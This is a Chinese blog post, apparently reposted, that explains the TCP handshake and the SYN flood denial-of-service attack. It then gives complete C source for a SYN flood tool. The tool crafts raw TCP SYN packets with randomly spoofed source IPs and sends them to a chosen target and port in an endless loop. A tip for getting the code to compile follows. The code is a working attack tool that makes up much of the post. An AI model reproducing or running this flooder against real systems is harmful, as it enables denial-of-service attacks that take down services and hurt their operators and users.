SYN攻击

来源:互联网 发布:php安装环境 编辑:程序博客网 时间:2024/04/29 17:01

在理解SYN攻击之前我们首先来复习一下TCP的相关知识:

  1. TCP协议的连接状态图:

    wKioL1fL41qyf-XMAALGr9CsYMc887.png

TCP的三次连接就是这样的。

    当成功建立连接的时候,服务端/客户端双方都会变更为ESTABLISED状态,但是对于服务端而言,还存在着一个状态。叫做办连接的状态,也就是处于SYN_RCVD状态,一直在等待客户端发送连接ACK的确认返回。

如果发现有很多SYN_RCVD状态,那你的机器有可能被SYN Flood的DoS(拒绝服务攻击)攻击了。 SYN Flood的攻击原理是: 在进行三次握手时,攻击软件向被攻击的服务器发送SYN连接请求(握手的第一步),但是这个地址是伪造的,如攻击软件随机伪造了51.133.163.104、65.158.99.152等等地址。服务器在收到连接请求时将标志位ACK和SYN置1发送给客户端(握手的第二步),但是这些客户端的IP地址都是伪造的,服务器根本找不到客户机,也就是说握手的第三步不可能完成。 这种情况下服务器端一般会重试(再次发送SYN+ACK给客户端)并等待一段时间后丢弃这个未完成的连接,这段时间的长度我们称为SYN Timeout,一般来说这个时间是分钟的数量级(大约为30秒-2分钟);一个用户出现异常导致服务器的一个线程等待1分钟并不是什么很大的问题,但如果有一个恶意的攻击者大量模拟这种情况,服务器端将为了维护一个非常大的半连接列表而消耗非常多的资源----数以万计的半连接,即使是简单的保存并遍历也会消耗非常多的CPU时间和内存,何况还要不断对这个列表中的IP进行SYN+ACK的重试。此时从正常客户的角度看来,服务器失去响应,这种情况我们称做:服务器端受到了SYN Flood攻击(SYN洪水攻击


下面是源码:

#include <stdio.h> #include <string.h> #include <time.h> #include <sys/types.h> #include <netinet/in.h> #include <asm/types.h> #include <linux/ip.h> #include <linux/tcp_new.h> #include <netdb.h> #include <sys/time.h> #define getrandom(min, max) ((rand() % (int)(((max)+1) - (min))) + (min)) void send_tcp(int sockfd,struct sockaddr_in *addr); unsigned short checksum(unsigned short *buffer, int size); unsigned short random_port(unsigned short minport,unsigned short maxport); void random_ip(char *str); int main(int argc,char **argv){   int sockfd;   struct sockaddr_in addr;   //int dport;   int on=1;   if(argc!=3){      printf("usage: <command_name> <target_ip> <port>\n");      exit(1);   }   bzero(&addr,sizeof(struct sockaddr_in));   addr.sin_family=AF_INET;   addr.sin_port=htons(atoi(argv[2]));   inet_pton(AF_INET,argv[1],&addr.sin_addr);     sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);   if(sockfd<0){      printf("Socket error!\n");      exit(1);   }   setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));   while(1){      send_tcp(sockfd,&addr);   }   return 0; } void send_tcp(int sockfd,struct sockaddr_in *addr){   char buff[100];   struct iphdr  ip_header;   struct tcphdr tcp_header;   unsigned short source_port=random_port(1024,5000);   char ip_str[50];   struct in_addr ip;   random_ip(ip_str);   if(inet_aton(ip_str,&ip)==0){      printf("inet_aton error!\n");      exit(1);   }   bzero(buff,100);      ip_header.version=4;   ip_header.ihl=5;   ip_header.tos=0;   ip_header.tot_len=sizeof(struct iphdr)+sizeof(struct tcphdr);   ip_header.id=htons(random());   ip_header.frag_off=0;   ip_header.ttl=30;   ip_header.protocol=IPPROTO_TCP;   ip_header.check=0;   ip_header.saddr=ip.s_addr;   ip_header.daddr=addr->sin_addr.s_addr;   tcp_header.source=htons(source_port);   tcp_header.dest=addr->sin_port;   tcp_header.seq=rand();   tcp_header.doff=sizeof(struct tcphdr)/4;   tcp_header.ack_seq=0;   tcp_header.res1=0;   tcp_header.fin=0;   tcp_header.syn=1;   tcp_header.rst=0;   tcp_header.psh=0;   tcp_header.ack=0;   tcp_header.urg=0;   tcp_header.window=htons(65535);   tcp_header.check=0;   tcp_header.urg_ptr=0;      struct{      unsigned long saddr;      unsigned long daddr;      char mbz;      char ptcl;      unsigned short tcpl;   }psd_header;   psd_header.saddr=ip_header.saddr;   psd_header.daddr=ip_header.daddr;   psd_header.mbz=0;   psd_header.ptcl=IPPROTO_TCP;   psd_header.tcpl=htons(sizeof(struct tcphdr));   memcpy(buff,&psd_header,sizeof(psd_header));   memcpy(buff+sizeof(psd_header),&tcp_header,sizeof(tcp_header));   tcp_header.check=checksum((unsigned short*)buff,sizeof(psd_header)+sizeof(tcp_header));      memcpy(buff,&ip_header,4*ip_header.ihl);   memcpy(buff+4*ip_header.ihl,&tcp_header,sizeof(tcp_header));   ip_header.check=checksum((unsigned short*)buff,4*ip_header.ihl+sizeof(tcp_header));        sendto(sockfd,buff,sizeof(struct iphdr)+sizeof(struct tcphdr),0,              (struct sockaddr*)addr,sizeof(struct sockaddr_in));   } unsigned short checksum(unsigned short *buffer, int size){   unsigned long cksum=0;         while(size >1) {             cksum+=*buffer++;             size -=sizeof(unsigned short);         }         if(size ) cksum += *(unsigned char*)buffer;  //..buffer..size..2......         cksum = (cksum >> 16) + (cksum & 0xffff);         cksum += (cksum >>16);         return (unsigned short)(~cksum); } unsigned short random_port(unsigned short minport,unsigned short maxport){   srand((unsigned)time(NULL));   return(getrandom(minport,maxport)); } void random_ip(char *str){   int a,b,c,d,i=0;   static long j=0;   srand((unsigned)time(NULL)+(i++)+(j++));   a=getrandom(0,255);   srand((unsigned)time(NULL)+(i++)+(j++));   b=getrandom(0,255);   srand((unsigned)time(NULL)+(i++)+(j++));   c=getrandom(0,255);   srand((unsigned)time(NULL)+(i++)+(j++));   d=getrandom(0,255);   sprintf(str,"%d.%d.%d.%d",a,b,c,d);   printf("%s\n",str);   }

//缺少。enum { TCP_FLAG_CWR = htonl(0x00800000) TCP_FLAG_ECE = htonl(0x00400000), TCP_FLAG_URG = htonl(0x00200000), TCP_FLAG_ACK = htonl(0x00100000), TCP_FLAG_PSH = htonl(0x00080000), TCP_FLAG_RST = htonl(0x00040000), TCP_FLAG_SYN = htonl(0x00020000), TCP_FLAG_FIN = htonl(0x00010000), TCP_RESERVED_BITS = htonl(0x0FC000000), TCP_DATA_OFFSET = htonl(0xF0000000) }; 解决办法:将tcp.h的内容拷贝到另一个新建的文件tcp_new.h中,在新文件中去掉上面几行代码中的htonl,在自己的文件中用#include <linux/tcp_new.h>代替#include <linux/tcp.h>即可。

以上

本文出自 “剩蛋君” 博客,转载请与作者联系!

0 0
原创粉丝点击